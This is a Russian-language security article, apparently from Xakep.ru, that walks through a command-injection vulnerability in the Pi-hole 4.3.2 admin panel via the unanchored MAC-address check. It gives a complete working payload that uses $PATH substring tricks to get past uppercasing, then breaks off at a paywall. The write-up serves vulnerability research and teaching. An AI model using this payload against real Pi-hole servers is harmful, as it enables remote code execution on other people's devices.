Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

Pi-hole — это DNS-сервер и небольшой веб-интерфейс для настройки блокировщика и просмотра статистики. Приставка Pi тут неспроста, поскольку разработчики предполагали, что ставить их софт будут на Raspberry Pi (а заодно название звучит как «дырка для пирога»). При этом ничто в целом не мешает ставить Pi-hole и на другое железо.

Нашли уязвимости Ник Фришетт (Nick Frichette), разработчик и ИБ-исследователь из США, и Франсуа Рено-Филиппон (François Renaud-Philippon) — ИБ-исследователь из Канады.

Стенд

Начнем со стенда. Тут все просто, разработчики Pi-Hole предоставляют официальный контейнер Docker с дистрибутивом. Для тестирования всех уязвимостей воспользуемся версией 4.3.2.

docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2

После непродолжительной загрузки на 80 порту можно найти веб-интерфейс администратора.

Пароль будет сгенерирован в процессе загрузки контейнера и выведен в консоль.

Теперь осталось скачать исходники админской панели с GitHub (ZIP) — и можно приступать к разбору уязвимости.

RCE через MAC-адрес

Для начала обратимся к исходным кодам приложения, раз они имеются. В первую очередь проверим наличие RCE. Для этого поищем в коде на PHP основные функции, которые допускают исполнение кода. Я буду использовать PHPStorm и следующую регулярку.

(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(

Она не идеальна, но для быстрого поиска сгодится.

Сразу видим, что нашлась пачка интересных мест. Давай посмотрим на них поближе.

Начнем с файла savesettings.php. Он отвечает за сохранение настроек в разделе Settings, для каждой вкладки есть отдельная ветка кода.

scripts/pi-hole/php/savesettings.php

216:        // Process request
217:        switch ($_POST["field"]) {
218:            // Set DNS server
219:            case "DNS":
...
383:            case "API":
...
548:            case "DHCP":

Нас интересует вкладка DHCP, там происходит подозрительный вызов функции exec.

scripts/pi-hole/php/savesettings.php

548:            case "DHCP":
549: 
550:                if(isset($_POST["addstatic"]))
551:                {
552:                    $mac = $_POST["AddMAC"];
553:                    $ip = $_POST["AddIP"];
554:                    $hostname = $_POST["AddHostname"];
...
605:                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);

В процессе выполнения происходит вызов утилиты pihole, где в качестве параметров командной строки передаются значения AddMAC, AddIP, AddHostname из POST-запроса. Первая мысль: просто внедрить свою команду при помощи && или ||. Однако переменные предварительно проходят некоторые проверки. Давай посмотрим на них. Начнем с IP.

scripts/pi-hole/php/savesettings.php

562:                    if(!validIP($ip) && strlen($ip) > 0)
563:                    {
564:                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
565:                    }

Помимо двух регулярок, выполняется проверка встроенной в PHP функцией filter_var с опцией FILTER_VALIDATE_IP.

scripts/pi-hole/php/savesettings.php

14: function validIP($address){
15:     if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {
16:         // Test if address contains either `:` or `0` but not 1-9 or a-f
17:         return false;
18:     }
19:     return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }

Здесь особо не разгуляешься, и пропихнуть левые символы не удастся. Тогда переходим к hostname.

scripts/pi-hole/php/savesettings.php

567:                    if(!validDomain($hostname) && strlen($hostname) > 0)
568:                    {
569:                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
570:                    }

Тут уже три регулярки. Первая запрещает использовать любые символы, кроме цифр, a-z, точки, минуса и подчеркивания, а остальные проверяют длину строки.

scripts/pi-hole/php/savesettings.php

36: function validDomain($domain_name)
37: {
38:     $validChars = preg_match("/^([_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([a-z\d])*)*$/i", $domain_name);
39:     $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40:     $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $domain_name);
41:     return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label
42: }

Здесь тоже нет возможности внедрить нужные нам символы.

Остается MAC-адрес.

scripts/pi-hole/php/savesettings.php

556:                    if(!validMAC($mac))
557:                    {
558:                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
559:                    }

scripts/pi-hole/php/savesettings.php

53: function validMAC($mac_addr)
54: {
55:   // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56:   return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
57: }

А вот здесь нас ждет удача. Регулярка говорит нам, что строка должна содержать 6 пар символов английского алфавита и цифр и они могут быть разделены двоеточием или нет. Но вот незадача, отсутствуют символы начала и конца строки. Это значит, что достаточно, чтобы было как минимум одно вхождение такой регулярки, а помимо нее можно указывать все что хочется.

Однако здесь нас поджидает небольшая проблемка.

scripts/pi-hole/php/savesettings.php

560:                    $mac = strtoupper($mac);

Все буквы в строке с MAC-адресом переводятся в верхний регистр. Так как команды в Linux регистрозависимы, не получится просто внедрить нужную, придется искать обход. К счастью, шелл в Linux очень гибкая штука и сделать байпасс не составит труда. Если бы функция exec использовала интерпретатор bash для выполнения команд, то решение было бы совсем простым: начиная с четвертой версии в Bash появилась конструкция вида ${VAR,,}, которая меняет регистр букв на строчные в значении переменной. Но exec использует /bin/sh.

Но не стоит отчаиваться, ведь у нас есть переменные окружения. Всеми любимая $PATH как раз состоит из букв верхнего регистра и содержит большое количество символов нижнего. Добавим новую запись с MAC-адресом 000000000000$PATH, чтобы увидеть содержимое этой переменной окружения.

По умолчанию в контейнере она имеет следующий вид:

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Чтобы не собирать всю необходимую команду из этих букв, воспользуемся php, так как местные функции регистронезависимы. Вот мой пейлоад:

php -r 'exec(strtolower("echo 1 > /tmp/owned"));'

Чтобы исключить любые проблемы с символами в длинных командах, можно воспользоваться функцией hex2bin вместо strtolower, но для моего пейлоада сгодится и эта.

Получается, что нам нужны символы p, h и r. Воспользуемся символами замены и удаления подстроки. Символ p находится на третьей позиции. Конструкция A=${PATH#??} удалит первые два символа, и в переменной A останется такая подстрока:

pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Теперь из нее нужно удалить все, кроме первого символа, для этого используем P=${A%${A#?}}.

Теперь h. Он находится на восьмой позиции, поэтому удаляем первые семь символов A=${PATH#???????}. Оставляем только первый символ при помощи уже известной нам конструкции H=${A%${A#?}}.

И наконец — r. Удаляем все символы начиная с первого слеша до первого двоеточия плюс три символа: A=${PATH#/*:???}. В итоге останется такая подстрока:

r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Снова оставляем только первый символ R=${A%${A#?}}.

WWW

Подробнее про манипуляцию со строками можно прочитать в мануале Bash, там все подробно расписано с примерами использования.

Собираем все наши конструкции вместе и получаем:

A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};

Теперь в переменных $P, $H и $R находятся буквы p, h и r в нижнем регистре.

Можно формировать основной пейлоад.

000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';

Отправляем его в качестве MAC-адреса и можем видеть файл owned в директории /tmp.

Точно такая же проблема присутствует в функции удаления существующего MAC-адреса.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

-60% 1 год 9990 рублей 4000 р.

1 месяц 920 р.

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»